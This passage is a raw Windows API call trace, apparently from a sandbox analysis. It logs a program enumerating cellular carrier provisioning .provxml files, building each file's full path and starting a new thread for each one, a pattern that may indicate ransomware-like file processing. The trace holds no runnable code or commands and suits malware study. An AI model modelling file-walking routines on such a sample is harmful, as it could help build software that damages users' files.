lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f18f32, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f18f32, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f18f32, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml", cAlternateFileName="412__C~1.PRO")) returned 1 [0180.445] wcscmp (_String1="412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.445] wcscmp (_String1="412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.445] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x4f02ac8 [0180.445] wcscpy (in: _Dest=0x4f02ac8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.445] wcscat (in: _Dest=0x4f02ac8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.445] wcscat (in: _Dest=0x4f02ac8, _Source="412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml" [0180.445] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02ac8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0180.445] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f18f32, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f18f32, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f18f32, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml", cAlternateFileName="413__C~1.PRO")) returned 1 [0180.445] wcscmp (_String1="413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.445] wcscmp (_String1="413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.445] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fe2b18 [0180.445] wcscpy (in: _Dest=0x2fe2b18, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.446] wcscat (in: _Dest=0x2fe2b18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.446] wcscat (in: _Dest=0x2fe2b18, _Source="413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml" [0180.446] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0180.446] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f18f32, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f18f32, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f18f32, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml", cAlternateFileName="414__C~1.PRO")) returned 1 [0180.446] wcscmp (_String1="414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.446] wcscmp (_String1="414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.446] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fe2c70 [0180.446] wcscpy (in: _Dest=0x2fe2c70, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.446] wcscat (in: _Dest=0x2fe2c70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.447] wcscat (in: _Dest=0x2fe2c70, _Source="414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml" [0180.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840 [0180.447] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f18f32, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f18f32, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f18f32, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml", cAlternateFileName="415__C~1.PRO")) returned 1 [0180.447] wcscmp (_String1="415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.447] wcscmp (_String1="415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.447] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2fe2dc8 [0180.447] wcscpy (in: _Dest=0x2fe2dc8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.447] wcscat (in: _Dest=0x2fe2dc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.447] wcscat (in: _Dest=0x2fe2dc8, _Source="415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml" [0180.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2dc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420 [0180.448] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f18f32, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f18f32, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f18f32, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x0, dwReserved1=0x0, cFileName="416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="416__C~1.PRO")) returned 1 [0180.448] wcscmp (_String1="416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.448] wcscmp (_String1="416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.448] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x4f02460 [0180.448] wcscpy (in: _Dest=0x4f02460, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.448] wcscat (in: _Dest=0x4f02460, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.448] wcscat (in: _Dest=0x4f02460, _Source="416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml" [0180.448] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4 [0180.449] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f3f19a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f3f19a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f3f19a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml", cAlternateFileName="417__C~1.PRO")) returned 1 [0180.449] wcscmp (_String1="417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.449] wcscmp (_String1="417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.449] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2fe16f0 [0180.449] wcscpy (in: _Dest=0x2fe16f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.449] wcscat (in: _Dest=0x2fe16f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.449] wcscat (in: _Dest=0x2fe16f0, _Source="417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml" [0180.449] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe16f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0180.450] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f3f19a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f3f19a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f3f19a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml", cAlternateFileName="418__C~1.PRO")) returned 1 [0180.450] wcscmp (_String1="418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.450] wcscmp (_String1="418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.450] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x136) returned 0x2f6ab60 [0180.450] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.450] wcscat (in: _Dest=0x2f6ab60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.450] wcscat (in: _Dest=0x2f6ab60, _Source="418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml" [0180.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ab60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c [0180.451] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f3f19a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f3f19a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f3f19a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x0, dwReserved1=0x0, cFileName="419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml", cAlternateFileName="419__C~1.PRO")) returned 1 [0180.451] wcscmp (_String1="419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.451] wcscmp (_String1="419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.451] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x136) returned 0x2f96ba0 [0180.451] wcscpy (in: _Dest=0x2f96ba0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.451] wcscat (in: _Dest=0x2f96ba0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.451] wcscat (in: _Dest=0x2f96ba0, _Source="419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml" [0180.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96ba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0180.451] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90221ca6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90221ca6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90221ca6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml", cAlternateFileName="41__CO~1.PRO")) returned 1 [0180.452] wcscmp (_String1="41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.452] wcscmp (_String1="41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.452] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f025a8 [0180.452] wcscpy (in: _Dest=0x4f025a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.452] wcscat (in: _Dest=0x4f025a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.452] wcscat (in: _Dest=0x4f025a8, _Source="41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml" [0180.452] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f025a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854 [0180.452] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f3f19a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f3f19a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f3f19a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1de, dwReserved0=0x0, dwReserved1=0x0, cFileName="420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="420__C~1.PRO")) returned 1 [0180.452] wcscmp (_String1="420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0180.452] wcscmp (_String1="420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0180.452] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fe1848 [0180.452] wcscpy (in: _Dest=0x2fe1848, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.453] wcscat (in: _Dest=0x2fe1848, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.453] wcscat (in: _Dest=0x2fe1848, _Source="420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0180.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0180.453] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f3f19a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f3f19a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f3f19a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml", cAlternateFileName="421__C~1.PRO")) returned 1 [0180.453] wcscmp (_String1="421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.453] wcscmp (_String1="421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.453] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2fe19a0 [0180.453] wcscpy (in: _Dest=0x2fe19a0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.453] wcscat (in: _Dest=0x2fe19a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.453] wcscat (in: _Dest=0x2fe19a0, _Source="421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden 